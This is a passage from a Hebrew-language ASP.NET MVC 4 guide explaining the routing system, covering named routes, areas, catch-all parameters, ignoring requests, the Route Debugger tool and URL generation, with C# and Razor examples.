,  תואמת את שני הניתובים המוגדרים2008/06/07/הבקשה לכתובת . נבדקים על פי הסדר

 . ולכן עלינו למקם את הניתוב הספציפי מוקדם יותר

 URLאילוצים מתבססים על ביטויים רגולריים לצורך התאמה של כתובות , על פי ברירת מחדל
ים הוא מטיפוס בחינה מדוקדקת מעלה שמילון האילוצ. עבור בקשות נכנסות

RouteValueDictionary , אשר מיישם את הממשקIDictionary<string, object> . משמעות הדבר
עובדה זו מאפשרת להעביר מגוון . string ולא מטיפוס objectשערכי הספרייה הם מטיפוס 

 . נלמד כיצד לנצל את הגמישות הזו" אילוצי ניתוב מותאמים אישית"בסעיף . ערכי אילוץ

 תובים בעלי שםני

 אינה מחייבת אתכם לקבוע שמות לכללי הניתוב שאתם ASP.NETמערכת הניתוב של 
כדי להפיק . ובמקרים רבים התהליך יפעל ללא תקלות גם כשאין משתמשים בשמות, מגדירים

URL ,אשר יעשה , עליכם ליצור קבוצה של ערכי ניתוב בלבד ולהעבירה אל מנוע הניתוב
במקרים מסוימים התהליך עשוי להסתבך , כפי שנראה בסעיף זה,  אולם.עבורכם את כל השאר

קביעת שמות . כאשר יש מספרי כללי ניתוב מתאימים שיכולים לשמש להפקת הכתובת
מכיוון שהשמות יאפשרו לשלוט באופן מדויק בבחירת כללי , לניתובים יפתור את הבעיה הזו

 . URLהניתוב בעת הפקת כתובות 
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 : יישום מוגדרים שני כללי הניתוב האלהנניח שב, לדוגמה

public static void RegisterRoutes(RouteCollection routes) 

{ 

 routes.MapRoute( 

  name: "Test", 

  url: "code/p/{action}/{id}", 

  defaults: new { controller = "Section", action = "Index", id = "" } 

 ); 

 

 routes.MapRoute( 

  name: "Default", 

  url: "{controller}/{action}/{id}", 

  defaults: new { controller = "Home", action = "Index", id = "" } 

 ); 

} 

 :נכתוב את הקוד הבא, קישור עבור כל אחד מהניתובים-כדי להפיק בתצוגה היפר

@Html.RouteLink("Test", new {controller="section", action="Index", id=123}) 

@Html.RouteLink("Default", new {controller="Home", action="Index", id=123}) 

שימו לב שבשתי הקריאות לשיטות איננו מציינים באיזה כלל ניתוב להשתמש כדי להפיק את 
 מפרש ASP.NETומנוע הניתוב של , אנחנו פשוט מעבירים לשיטה מספר ערכי ניתוב. הנתיב
השיטה הראשונה מפיקה קישור לכתובת , בדוגמה זו.  באיזה כלל להשתמשבעצמו

/code/p/Index/123 , והשיטה השנייה מפיקה קישור לכתובת/Home/Index/123 ,כמצופה .
אך קיימים מצבים שהתוצאות המתקבלות עלולות להיות , במקרה הפשוט הזה אין שום קושי

 . בעייתיות

שלהלן לראש רשימת כללי הניתוב ) page route(נניח שאנחנו רוצים להוסיף את ניתוב הדף 
 .aspx/SomePage.aspx/ עם הדף static/url/כדי להגיב לבקשות לכתובת 

routes.MapPageRoute("new", "static/url", "~/aspx/SomePage.aspx"); 

, RegisterRoutesיתובים שבשיטה איננו יכולים למקם את הכלל החדש בתחתית רשימת הנ
 static/url/בקשה לכתובת : לעולם הוא לא יותאם לשום בקשה, מכיוון שאם הוא יהיה בסוף

ובדיקת הרשימה על ידי מנוע החיפוש תעצר לפני שהכלל יגיע , תותאם לניתוב ברירת המחדל
פני ניתוב ל, עלינו למקם את הניתוב החדש בראש רשימת הניתובים, לכן. לניתוב החדש
 . ברירת המחדל

יש מקרים רבים של ניתוב . Web Formsבעיה זו אינה ייחודית לניתוב לדפי  הערה
 .ASP.NET MVCלמשאבים שאינם שיטות פעולה של 

במקרה של בקשה . העברת הניתוב החדש לראש רשימת הניתובים היא לכאורה שינוי תמים
 אך לא static/url/במדויק את התבנית הניתוב יותאם אך ורק לבקשות שתואמות , נכנסת
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אבל מה יקרה אם נרצה להפיק כתובות .  וזה בדיוק מה שרצינו-יותאם לבקשות האחרות 
URL ? נבחן שוב את תוצאות שתי הקריאה לשיטהUrl.RouteLink , ונראה ששתי הכתובות

 :המתקבלות שבורות
/url?controller=section&action=Index&id=123 

 ,וגם
/static/url?controller=Home&action=Index&id=123 

אך זו סוגיה , ובהחלט ניתן לומר שמדובר כאן במקרה קצה, מדובר בדקויות של מנוע הניתוב
 . שמפתחים נתקלים בה מדי פעם

ערכי הניתוב שמועברים אליו מוצבים ,  באמצעות מנוע הניתובURLכאשר מפיקים , בדרך כלל
 .  קודם באופן שתוארURLבפרמטרי 

עליכם לספק ערכים , }controller}/{action}/{id{כאשר יש ביישום כלל ניתוב עם התבנית 
לכלל הניתוב החדש אין פרמטר , במקרה זה. URL- בעת הפקת הid- וcontroller ,actionעבור 

URLניסיון הפקת לכלולכן הוא מותאם ,  כלשהו URL . מסוּפקָ ערך "מבחינה טכנית התנאי
 שנדרשים לעמוד URLשהרי אין פרמטרי , מתקיים באופן ריק" כל אחד מהפרמטריםניתוב ל

כל , URLמכיוון שלאחר הוספת כלל הניתוב החדש הוא מותאם לכל הניסיונות להפקת . בו
 .  שננסה להפיק תהיינה משובשותURLהכתובות 

לכל  שמות קבעו. אך למרבה המזל יש לה פתרון פשוט, לכאורה לפנינו בעיה חמורה
 ברוב .URLהניתובים שלכם וציינו את שמותיהם באופן מפורש כאשר אתם מפיקים כתובות 

 אל מנוע הניתוב היא סוג URLהמקרים העברת האחריות לבחירת כלל הניתוב שישמש להפקת 
כפייתית והפחד מאובדן -זו התנהגות שאינה הולמת את האישיות האובססיבית. של הימור

 תדעו כמעט תמיד URLבעת הפקת כתובות . רי קהילת המפתחיםשליטה שמאפיינים את חב
אם מסיבה זו . ולכן אין כל סיבה שלא לציין אותו בשמו, באיזה כלל ניתוב ברצונכם להשתמש

או אחרת עליכם להשתמש בניתובים חסרי שם ומשאירים למנוע הניתוב את האחריות לבחירת 
ות יחידה כדי לוודא שהניתובים והפקת אנחנו ממליצים מאוד לבצע בדיק, הניתוב המתאים

 . הכתובות ביישום שלכם מתנהגים כפי שתכננתם

אלא גם תורם לשיפור קל , ציון מפורש של שמות הניתובים לא רק מונע מסרים כפולים
מכיוון שמנוע הניתוב יכול לגשת ישירות לניתוב שאת שמו ציינתם ולהשתמש בו , בביצועים

 . להפקת הכתובת

אך ביצוע העדכון שלהלן , חרונה נתקלנו בבעיה כשניסינו להפיק שני קישוריםבדוגמה הא
בקוד שלהלן ציינו את שמות הפרמטרים כדי להדגיש את השינוי לעומת . יפתור את העניין

 . הקוד הקודם
@Html.RouteLink( 

 linkText: "route: Test", 

 routeName: "test", 

 routeValues: new {controller="section", action="Index", id=123} 

) 
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@Html.RouteLink( 

 linkText: "route: Default", 

 routeName: "default", 

 routeValues: new {controller="Home", action="Index", id=123} 

) 

 MVCאזורים של 
 מאפשרים לכם לחלק את, ASP.NET MVC 2אשר נוספו לראשונה לגרסת , )Areas(אזורים 
משמעות הדבר היא . התצוגות והבקרים למקטעים פונקציונליים נפרדים, המודלים

כדי להקל על , שבאפשרותכם לחלק אתרים גדולים או מורכבים במיוחד למספר חלקים שונים
 . הניהול שלהם

 רישום ניתובים אזוריים

ורשות  מוגדרים על ידי יצירת מחלקות אזוריות אשר י)Area routes(ניתובים אזוריים 
תבניות הפרויקט . RegisterArea- וAreaNameתוך דריסת , AreaRegistrationמהמחלקה 

 AreaRegistration.RegisterAllAreas כוללות קריאה לשיטה ASP.NET MVCשל הסטנדרטיות 
 . Global.asax שבקובץ Application_Startבקוד השיטה 

 חפיפת ניתובים אזוריים

אתם , האחד בתחומי אזור והשני בשורש היישום, י אותו שםאם יש לכם שני בקרים בעל
הדבר קורה כאשר בקשה מותאמת לכלל . עשויים לקבל שגיאה שמלווה בהודעה ארוכה מאוד

 :להלן תרגום הודעת השגיאה). namespace(ניתוב שאינו מגדיר מרחב שמות 

הדבר . Homeלשם הבקר תואמים אשר נמצאו מספר טיפוסים 
 ו זניתוב שמספק את השירות לבקשה הבאשר עשוי לקרות כ

){controller}/{action}/{id} ( מרחב השמות לא מוגדר
, במקרה זה. שיש לסרוק לצורך איתור בקר שתואם לבקשה

הניתוב על ידי קריאה לגרסה המועמסת יש לבצע את הרשמת 
. namespacesפרמטר את הכוללת אשר  MapRouteשל השיטה 

 :התואמים האלה שני הבקרים ה אתמצא Homeבקשה לבקר ה

AreasDemoWeb.Controllers.HomeController 
AreasDemoWeb.Areas.MyArea.Controllers.HomeController 

מבוצעת הרשמה של ,  להוספת אזור חדש ליישוםAdd Areaשיח -בעת שימוש בתיבת הדו
יוכלו להיות מותאמים הדבר מבטיח שרק בקרים באזור זה .  עם מרחב שמות לאזור הזהניתוב

 .לבקרים באזור

כאשר . מרחבי שמות משמשים לצמצום קבוצת הבקרים שנבדקים בעת ההתאמה של ניתוב
רק הבקרים ששוכנים במרחב השמות הזה הינם , כלל ניתוב כולל הגדרה של מרחב שמות



 ASP.NET MVC 4מדריך    258

 כל הבקרים ביישום, כאשר כלל הניתוב אינו מגדיר מרחב שמות. מועמדים כשרים להתאמה
 . יכולים להיות מועמדים קבילים

זה המקור לחוסר הבהירות שגרם לכך ששני בקרים בעלי אותו שם הותאמו לניתוב ללא מרחב 
 . שמות

אחת הדרכים למנוע את השגיאה הזו היא להימנע בפרויקט מבחירת שמות זהים עבור 
למספר בקרים במקרים מסוימים עשויה להיות סיבה טובה לבחירת שם זהה , עם זאת. הבקרים

, במקרים אלה). אם אינכם רוצים להשפיע על כתובות הניתוב שמופקות ביישום, לדוגמה(
גישה זו . תוכלו לציין קבוצה של מרחבי שמות שייבדקו בעת חיפוש בקרים עבור ניתוב מסוים

 : 9-1מוצגת בדוגמה 

 txt.9-1: 9-1קוד 

routes.MapRoute( 

 "Default", 

 "{controller}/{action}/{id}", 

 new { controller = "Home", action = "Index", id = "" }, 

 new [] { "AreasDemoWeb.Controllers" } 

); 

הבקרים . בקוד זה מועבר לשיטה פרמטר רביעי שמכיל מערך שמות של מרחבי שמות
 . AreasDemoWeb.Controllersבשם שוכנים במרחב שמות בפרויקט לדוגמה 

 פרמטר פתוח

ניתן להתאים את הניתוב לכל מספר של ) catch-all parameter (פרמטר פתוחאמצעות ב
ללא מחרוזת , URLהערך שמוצב בפרמטר הוא החלק הנותר בכתובת . מקטעים מתוך הכתובת

 . שאילתה

 יכול לשמש לטיפול בבקשות כדוגמת אלו שמוצגות בטבלה 9-2הניתוב שבדוגמה , לדוגמה
9-4 . 

 txt.9-2: 9-2 קוד

public static void RegisterRoutes(RouteCollection routes) 

{ 

 routes.MapRoute("catchallroute", "query/{query-name}/{*extrastuff}"); 

} 
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 9-2רשימה של הבקשות מקוד : 9-4טבלה 

 ערך הפרמטר URLכתובת 

/query/select/a/b/c extrastuff = "a/b/c" 

/query/select/a/b/c/ extrastuff = "a/b/c" 

/query/select/ extrastuff = ""  

)הפרמטר הפתוח יתפוס את המחרוזת הריקה במקרה זה, הניתוב עדיין יתאים(  

  אחדים במקטע יחידURLפרמטרי 

כל הדוגמאות , לדוגמה. כבר נאמר שתבנית ניתוב יכולה לכלול יותר מפרמטר אחד למקטע
  :שלהלן הן תבניות ניתוב חוקיות

 {title}-{artist} 

 Album{title}and{artist} 

 {filename}.{ext} 

, לדוגמה. שני פרמטרים אינם יכולים להיות סמוכים זה לזה, ערכית-כדי להבטיח התאמה חד
 : תבניות הניתוב שלהלן אינן חוקיות

 {title}{artist} 

  Download{filename}{ext} 

. ת בתבנית הניתוב תותאמנה באופן מדויקמחרוזות מפורשו, בעת התאמה של בקשות נכנסות
, במילים אחרות. בדומה לביטויים רגולריים, מותאמים על בסיס גישה חמדנית URLפרמטרי 

 . URLמנוע הניתוב מנסה להתאים כמה שיותר טקסט לכל פרמטר 

כיצד תותאם התבנית לבקשה לכתובת . {ext}.{filename}ניקח לדוגמה את תבנית הניתוב 
/asp.net.mvc.xml?  אם הפרמטר {filename} הוא היה מותאם , על בסיס גישה חמדנית לא היה

אולם מכיוון ". net.mvc.xml",  היה מותאם לחלק הנותר{ext}בלבד והפרמטר " asp"למחרוזת 
 מותאם לחלק ארוך ככל {filename}הפרמטר , על בסיס גישה חמדנית פועלים URLשפרמטרי 

, לא ניתן להתאים את הפרמטר לחלקים נוספים מהכתובת". asp.net.mvc"הניתן בכתובת 
שנשאר " xml" של התבנית לחלק {ext}.מכיוון שחייבים להשאיר מקום להתאמת החלק 

 . מהכתובת

 תמצאו מספר דוגמאות שממחישות כיצד מתבצעת התאמה של תבניות ניתוב 9-5בטבלה 
אשר מציין , {foo=bar} המקוצר שימו לב לשימוש בתחביר. שונות בעלות מספר פרמטרים

 ". bar" הוא {foo}שערך ברירת המחדל של הפרמטר 
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 התאמת תבניות ניתוב עם מספר פרמטרים: 9-5טבלה 

 תוצאות נתוני הניתוב  של הבקשהURLכתובת  תבנית ניתוב

{filename}.{ext} /Foo.xml.aspx filename="Foo.xml" 

ext="aspx" 

My{location}-{sublocation} /MyHouse-dwelling location="House" 

sublocation="dwelling" 

{foo}xyz{bar} /xyzxyzxyzblah foo="xyzxyz" 

bar="blah" 

 לא {filename}הפרמטר , Foo.xml.aspx/בעת התאמת הכתובת , שימו לב שבדוגמה הראשונה
" Foo"מתו למחרוזת פעולה זו הייתה גורמת להתא"). ."התו (נעצר בערך המפורש הראשון 

 . של הכתובת" Foo.xml"בגלל הגישה החמדנית הוא הותאם לחלק , במקרה שלפנינו. בלבד

 IgnoreRoute - וStopRoutingHandler: התעלמות מבקשות

. מערכת הניתוב מתעלמת מבקשות שממופות לקבצים פיזיים בדיסק, על פי ברירת המחדל
נם מועברים לטיפול של מערכת הניתוב ומעובדים אי'  וכוCSS ,JGP ,JSלכן בקשות לקבצי 

אולם במקרים מסוימים עשויות להתקבל בקשות שאינן ממופות לקבצים . באופן הרגיל
 משאבי בקשות למטפל, לדוגמה. הניתובמערכת שיטופלו על ידי ובכל זאת לא נרצה , בדיסק

ולא ) HTTP) HTTP handlerמטופלים על ידי מטפל , ASP.NET ,WebResource.axdהרשת של 
 . ניתן לייחסן לקובץ בדיסק

היא להשתמש בשיטה , אחת הדרכים להבטיח שמנוע הניתוב יתעלם מבקשות כאלו
StopRoutingHandler . על ידי יצירת ניתוב עם ,  מוצגת הוספת ניתוב באופן ידני9-3בדוגמה
StopRoutingHandler חדש והוספת הניתוב לאוסף RouteCollection . 

 txt.9-3: 9-3 ודק

public static void RegisterRoutes(RouteCollection routes) 

{ 

 routes.Add(new Route 

 ( 

  "{resource}.axd/{*pathInfo}", 

  new StopRoutingHandler() 

 )); 

 

 routes.Add(new Route 

 ( 

  "reports/{year}/{month}" 

  , new SomeRouteHandler() 

 )); 

} 
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מכיוון . היא תותאם לניתוב הראשון, WebResource.axd/ אם תתקבל בקשה לכתובת ,כעת
מערכת הניתוב תעביר את הבקשה למנגנוני , StopRoutingHandlerשהניתוב הראשון כולל 

 הרגיל HTTPתחזיר אותה למטפל , או במקרה שלנו, ASP.NETהעיבוד הסטנדרטיים של 
 . axdשאחראי לטיפול בסיומת 

ויש לה השם , רך פשוטה יותר להורות למנוע הניתוב להתעלם מתבנית ניתוב כלשהייש גם ד
 בדיוק כמו RouteCollectionמדובר בשיטת הרחבה שמוספת לטיפוס . IgnoreRouteתיאורי 

MapRouteואם נבחר להשתמש בשיטה החדשה הזו , זהו עניין של נוחות.  שהצגנו מקודם
 . 9-4 באופן שמוצג בדוגמה 9-3 את הקוד שבדוגמה עלינו לעדכן, MapRouteבשילוב עם 

 txt.9-4: 9-4 קוד
public static void RegisterRoutes(RouteCollection routes) 

{ 

 routes.IgnoreRoute("{resource}.axd/{*pathInfo}"); 

 routes.MapRoute("report-route", "reports/{year}/{month}"); 

} 

תקלו י תASP.NET MVCבעת פיתוח יישומים באמצעות . קי וקל להבנההקוד הזה הרבה יותר נ
 יכול לתרום IgnoreRoute- וMapRouteבמקרים רבים שבהם שימוש בשיטות הרחבה כגון 

 . רבות לסדר ולארגון של הקוד שתְפתַחו

 ניפוי שגיאות ניתוב
פורשו על ידי מכיוון שהניתובים , תהליך ניפוי שגיאות הניתוב היה מתסכל ביותר, בעבר

הרחק מהישג ידן של נקודות השבירה , ASP.NETתהליך עיבוד הניתובים הפנימי של 
)breakpoints ( שלVisual Studio , באג במערך הניתוב יכול לגרום .  של המתכנת-ולמעשה

או התעלמות מוחלטת , לכשל של היישום כתוצאה מהפעלה של פעולת בקר לא נכונה
רמת לבלבול היא העובדה שכללי הניתוב נבדקים על פי הסדר סיבה נוסף שגו. מהבקשה
שגיאות ניתוב לא בהכרח , מסיבה זו. הניתוב הראשון שמותאם נבחר לטפל בבקשה, ולפיכך

גורמים אלו הקשו מאוד בעבר על . אלא ממיקומן ברשימה, נובעות מהגדרות הניתוב עצמן
התוכנה פותחה על ידי  (Route Debugger אך כל זה השתנה הודות לכלי -ניפוי שגיאות ניתוב 

 ). המחבר פיל האק

 -כל מטפלי הניתוב של הניתובים מוחלפים ב,  מופעלRoute Debuggerכאשר 
DebugRouteHandler . מטפל זה לוכד את כל הבקשות הנכנסות ומפנה שאילתות לכל

 על הניתובים יםדיאגנוסטיובסופו של דבר גם מציג בתחתית הדף נתונים , הניתובים בטבלה
התקינו את הכלי באמצעות , Route Debugger -כדי להשתמש ב. ועל פרמטרי הניתוב שלהם

NuGet הבאה בטרמינל של מנהל החבילות בסביבת  על ידי הקלדת הפקודהVisual Studio :
Install-Package RouteDebugger . התקנת החבילה מוסיפה את הקוד המהודר שלRoute 

Debuggerפה לסעיף  ומוסיappSettings בקובץ web.configשמשמשת ,  את השורה הבאה
 : להפעלה וכיבוי של התוכנה

<add key="RouteDebugger:Enabled" value="true" /> 
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יוצגו בפניכם נתוני הניתוב שנשלפו מהכתובת של הבקשה ,  מופעלRoute Debuggerכל עוד 
 שונות URLדבר מאפשר להקליד כתובות ה). 9-1כמוצג בתרשים (הנוכחית בשורת הכתובת 

בתחתית הדף תמצאו רשימה של . כדי לבדוק איזה כללי ניתוב מותאמים להם, בשורת הכתובת
הדבר מאפשר לראות איזה מהניתובים שהגדרתם . כל כללי הניתוב שמוגדרים ביישום שלכם

 .  הנוכחיתURLיותאם לכתובת 

 

 9-1תרשים 
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 URLת כיצד מנוע הניתוב מפיק כתובו
 של בקשות URLבפרק זה התמקדנו עד כה בעיקר באופן ההתאמה של כללי ניתוב לכתובות 

מוטלת על אחריות נוספת ש. ואין פלא שהרי זהו תפקידה העיקרי של מערכת הניתוב, נכנסות
בעת הפקת כתובת .  מותאמות לניתוב ספציפיURLמערכת הניתוב היא בנייה של כתובות 

URL , כל בקשה לנתיבURL לניתוב המקורי אשר נבחר להפקת להתאים  שהופק חייבת
 URLכיוונית מלאה שמטפלת בכתובות -למערכת דוהופכת מערכת הניתוב וכך , הכתובת

  .יוצאות ונכנסות כאחד

 יתרונות מערכת הניתוב

 URLכל בקשה לנתיב , URLבעת הפקת כתובת . "הבה נבחן לרגע את שני המשפטים האחרונים
מערכת הניתוב וכך ,  לניתוב המקורי אשר נבחר להפקת הכתובתלהתאיםת שהופק חייב

זהו בדיוק ".  יוצאות ונכנסות כאחדURLכיוונית מלאה שמטפלת בכתובות -למערכת דוהופכת 
 על מערכת הניתוב URLהטלת האחריות להפקת כתובת . URLההבדל בין ניתוב לבין שכתוב 

לא רק בין תפקידי , )separation of concerns (תורמת גם לחיזוק עקרון הפרדת התפקידים
. מערכת הניתוב עצמה, אלא גם בין השחקן הרביעי השקט אך החשוב, התצוגה והבקר, המודל

צריך להעביר קבוצה של ערכי ניתוב שמשמשת את מערכת הניתוב לבחירת , ברמת העיקרון
 . שמאפשר התאמה של הכתובת, כלל הניתוב הראשון

  סקירה כללית- URL הפקת כתובות

בליבת מערכת הניתוב שוכן אלגוריתם פשוט ביותר שמיושם מעל הפשטה אלגנטית 
תחילה נלמד כיצד מערכת הניתוב . RouteCollection- וRouteCollectionשמבצעות המחלקות 

ולאחר מכן נסביר כיצד מתבצעת הפעילות מול המחלקה , פועלת בשילוב עם המחלקות הללו
Routeבת יותר המורכ . 

אשר למעשה כולן קוראות לאחת משתי ,  באמצעות מגוון של שיטותURLניתן להפיק כתובות 
להלן החותמות . RouteCollection.GetVirtualPathשל השיטה ) overloads(גרסאות מועמסות 

 :של שתי גרסאות השיטה
public VirtualPathData GetVirtualPath(RequestContext requestContext, 

 RouteValueDictionary values) 

public VirtualPathData GetVirtualPath(RequestContext requestContext, string name, 

 RouteValueDictionary values) 

למשתמש - הנוכחי וערכי ניתוב ספציפייםRequestContextהשיטה הראשונה מקבלת את 
 . שמשמשים לבחירת הניתוב הרצוי) מילון(

באמצעות , כללי הניתוב באוסף הניתובים נסרקים בלולאה כאשר כל ניתוב נשאל .1
 באמצעות הפרמטרים URLהאם באפשרותך להפיק : "Route.GetVirtualPathהשיטה 
 ". ?שהועברו
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 VirtualPathDataהשיטה מחזירה מופע של , )כלומר קיימת התאמה (כןאם התשובה היא  .2
השיטה , לאאם התשובה היא .  נוסף הקשור להתאמה ומידעURLשמכיל את הכתובת 

  .ומערכת הניתוב מתקדמת לכלל הניתוב הבא ברשימה, nullמחזירה 

שמות של ניתובים הם ייחודיים . שהוא שם של ניתוב, השיטה השנייה מקבלת ארגומנט שלישי
 ניתוב כאשר שם של. ולכן לא ייתכן שלשני ניתובים שונים יהיה שם זהה, באוסף הניתובים
מכיוון שניתן למצוא את , אין צורך לסרוק כל אחד מהניתובים ברשימה, מועבר לשיטה

אם הניתוב אינו תואם את הפרמטרים . 2הניתוב המבוקש באופן ישיר ולדלג ישירות לשלב 
 .  ולא ייבדקו ניתובים נוספיםnullהשיטה תחזיר , הנתונים

  סקירה מפורטת- URLהפקת כתובות 

 .  מספקת יישום שלם של האלגוריתם הכללי שהוצג בסעיף הקודםRouteהמחלקה 

 מקרה פשוט

התהליך הלוגי שבו נתקלים רוב המפתחים בעת שימוש במערכת הניתוב מתואר באופן מפורט 
 :בשלבים שלהלן

אחר כך השיטה קוראת . Url.Action או Html.ActionLinkכגון , המפתח קורא לשיטה .1
, RequestContextומעבירה בתור פרמטרים את , RouteCollection.GetVirtualPathלשיטה 

פרמטרים אלה מכתיבים את בחירת ). אופציונלי(ואת שם הניתוב , שהינו מילון של ערכים
 . הניתוב המתאים להפקת הכתובת

 ללא ערך ברירת URLפרמטרי (מערכת הניתוב בוחנת את פרמטרי החובה של הניתוב  .2
ור כל אחד מפרמטרי החובה ישנו ערך מתאים במילון ערכי ומוודאת שעב, )מחדל

עצר יהפקת הכתובת ת, אם אין ערך זמין עבור אחד מפרמטרי החובה. הניתוב שהועבר
 . nullוהשיטה תחזיר 

, לדוגמה.  תואמיםURLערכי ברירת מחדל ללא פרמטרי  ניתובים מסוימים עשויים להכיל .3
, category עבור מפתח בשם pastries מחדל של ניתוב מסוים עשוי להגדיר ערך ברירת

אם מילון הערכים , במקרה זה.  בתבנית הניתובcategoryלמרות שלא קיים פרמטר בשם 
 לערך ברירת להתאיםהערך חייב , categoryשסופק על ידי המשתמש מכיל ערך עבור 

 .  תמצאו תרשים זרימה שמציג את התהליך9-2בתרשים . categoryהמחדל של 
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 9-2תרשים 

 מציג את 9-3תרשים . אם ישנם, מערכת הניתוב מפעילה את אילוצי הניתוב, בשלב זה .4
 . האילוצים השונים

 על ידי אכלוס הפרמטרים של תבנית URLכעת ניתן להפיק כתובת ! הניתוב הותאם .5
 . הניתוב על ידי הערכים המתאימים במילון שהועבר
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 9-3תרשים 

 יים ערכי ניתוב סביבת

 מתבצעת באמצעות ערכים שלא סופקו באופן URLהפקת כתובות , בתרחישים מסוימים
 . כעת נבחן תרחיש שמדגים מצב כזה. GetVirtualPathמפורש בעת הקריאה לשיטה 

 מקרה פשוט

נעדיף , במקום לפלוט אותן לדף בבת אחת. נניח שברצוננו להציג רשימה ארוכה של מטלות
 מוצג ממשק 9-4בתרשים , לדוגמה. דף בהן באמצעות קישוריםלאפשר לגולשי האתר לדפ

 . פשוט ביותר לדפדוף ברשימת מטלות

אך כל , בהתאמה,  משמשים לניווט לדף הנתונים הקודם ולדף הבאNext ולחצן Previousלחצן 
 . הבקשות הללו מטופלות על ידי אותו בקר ופעולה

  :הבקשות הללו מטופלות על ידי כלל הניתוב שלהלן
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 9-4תרשים 

צריך בדרך כלל לספק ערכים לכל הפרמטרים של , כדי להפיק קישורים לדף הקודם ולדף הבא
 : עלינו להוסיף לתצוגה את הקוד שלהלן, 2כדי להפיק קישור לדף , כלומר. תבנית הניתוב

@Html.ActionLink("Page 2", "List", 

new {controller="tasks", action="List", page = 2}) 

 ambient route(ניתן לקצר את הקוד הזה על ידי שימוש בערכי ניתוב סביבתיים ,  זאתעם

values( . להלן כתובתURL ברשימת המטלות2 לדף  . 
tasks/list/2 

 .  מוצגים נתוני הניתוב עבור הבקשה9-6בטבלה 

 נתוני ניתוב: 9-6טבלה 

 ערך מפתח

Controller tasks 

Action List 

Page 2 

 

צריך רק לציין את נתוני הניתוב שמשתנים בבקשה ,  שמפנה אל הדף הבאURLכדי להפיק 
 . החדשה

@Html.ActionLink("Page 2", "List", new { page 2}) 

מערכת הניתוב ,  בלבדpage כוללת את הפרמטר ActionLinkלמרות שהקריאה לשיטה 
. ר והפעולה בעת סריקת הניתוביםמשתמשת בערכים של נתוני הניתוב הסביבתיים עבור הבק

 של RouteData הם הערכים הנוכחיים של הפרמטרים הללו באובייקט הערכים הסביבתיים
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ראוי לציין שהעברת ערכים מפורשים עבור הבקר והפעולה עוקפת את . הבקשה הנוכחית
 . הערכים הסביבתיים

ח במילון הפרמטרים הוסיפו את המפת, URLכדי לבטל את הצבת הערך הסביבתי בעת הפקת 
 .  או עם מחרוזת ריקהnullעם הערך 

 פרמטרים עודפים

הם ערכי ניתוב שמועברים לצורך הפקת כתובת  )Overflow parameters (ם עודפיםפרמטרי
URL ,מתייחס לתבנית הניתוב " הגדרת ניתוב"המונח . אך אינם כלולים בהגדרת הניתוב

שימו לב שערכים סביבתיים לעולם . של הניתובולמילון ברירת המחדל ולמילון האילוצים 
 . אינם משמשים בתור פרמטרים עודפים

פרמטרים עודפים שמשמשים להפקת כתובות מוספים לכתובת המופקת בתור פרמטרי 
הדרך הטובה ביותר להסביר כיצד הדבר מתבצע היא באמצעות , גם הפעם. מחרוזת שאילתה

 :  ברירת המחדל שלהלןנניח שביישום שלכם מוגדר ניתוב. דוגמה

public static void RegisterRoutes(RouteCollection routes) 

{ 

 routes.MapRoute( 

  "Default", 

  "{controller}/{action}/{id}", 

  new { controller = "Home", action = "Index", id = UrlParameter.Optional } 

 ); 

} 

ואתם מעבירים ערך ניתוב ,  באמצעות כלל הניתוב הזהURLכעת נניח שאתם מפיקים כתובת 
, בדוגמה זו". page" בשם URLלמרות שהגדרת הניתוב אינה כוללת פרמטר , page = 2, נוסף

 .Url.RouteUrl נממש את הכתובות לפלט באמצעות השיטה ,להפיק קישור פשוטבמקום 

@Url.RouteUrl(new {controller="Report", action="List", page="123"}) 

הפרמטרים שציינו מספיקים , כפי שניתן לראות. Report/List?page=2/הכתובת המופקת היא 
, במקרים אלה. ולמעשה ציינו יותר פרמטרים מהדרוש, להשגת התאמה לניתוב ברירת המחדל

חשוב להבין בהקשר . הפרמטרים הנוספים מצורפים לכתובת בתור פרמטרי מחרוזת שאילתה
מערכת הניתוב אינה מחפשת התאמה , רת הניתוב שישמש להפקת הכתובתהזה שבבחי

כל עוד הפרמטרים שמועברים עומדים , במילים אחרות. אלא התאמה מספקת בלבד, מדויקת
 . אין זה חשוב אם קיימים פרמטרים נוספים, )route(בדרישות של כלל הניתוב 

 באמצעות המחלקה URLדוגמאות נוספות להפקת כתובות 
Route 

 : נניח שמוגדר ביישום הניתוב שלהלן

public static void RegisterRoutes(object sender, EventArgs e) 

{ 
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 routes.MapRoute("report", 

  "reports/{year}/{month}/{day}", 

  new {day = 1} 

 ); 

} 

 : ן שהן בעלות המבנה הכללי שלהלUrl.RouteUrlהנה התוצאות של מספר קריאות לשיטה 

@Url.RouteUrl(new {param1 = value1, parm2 = value2, ..., parmN, valueN}) 

 . 9-7 שמתקבלות מוצגים בטבלה URLהפרמטרים וכתובות 

 GetVirtualPath שמתקבלות עבור URLפרמטרים וכתובות : 9-7טבלה 

 סיבה  מתקבלתURLכתובת  פרמטרים
year=2007, month=1, 

day=12 

/reports/2007/1/12 התאמה ישירה 

year=2007, month=1 /reports/2007/1  ערך ברירת המחדל עבור
day=1. 

Year=2007, 

month=1, day=12, 

category=123 

/reports/2007/1/12?category=123  עודפים"פרמטרים "
ם לכתובת שמופקת מצורפי

 כמחרוזת שאילתה
Year=2007  מחזירnullנם הפרמטרים שהועברו אי

 פיקים לביצוע התאמהמס

 פעולהל URLכיצד מערכת הניתוב מקשרת כתובות 
כדי לראות כיצד כל , בסעיף זה נסקור את מנגנוני הפעולה הפנימיים של מערכת הניתוב

קריאת הסעיף תספק לכם הבנה טובה יותר היכן בדיוק עובר הגבול . הרכיבים פועלים יחדיו
 . MVCבין מערכת הניתוב לבין תשתית 

זה . ASP.NET MVCאחת התפיסות השגויות הנפוצות היא שמערכת הניתוב היא רק אלמנט של 
אך צוות הפיתוח הגיע במהרה , ASP.NET MVC 1.0היה נכון בגרסאות הבטא הראשונות של 

. ASP.NET MVCלמסקנה שהניתוב מהווה כלי שימושי בפני עצמו באופן בלתי תלוי בתשתית 
, בשלב זה. הביע גם כן עניין ביכולות הניתוב, למשל, ASP.NET Dynamic Dataהצוות של 

 וללא MVCשימושית משוללת כל ידע פנימי על תשתית -הניתוב הפך למערכת עצמאית רב
 . תלות בה

 request(כדי להבין בצורה טובה יותר כיצד משתלבת מערכת הניתוב בצינור הבקשות 

pipeline ( שלASP.NET , הכרוכים בניתוב של בקשהכעת את השלבים נבחן . 
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יש מספר .  ומעלהIIS 7 של Integrated Modeהדיון שלהלן מתמקד בניתוב בסביבת  הערה
בעת . IIS 6 או בסביבת IIS 7 של Classic Modeהבדלים קטנים בעת שימוש בניתוב בסביבת 

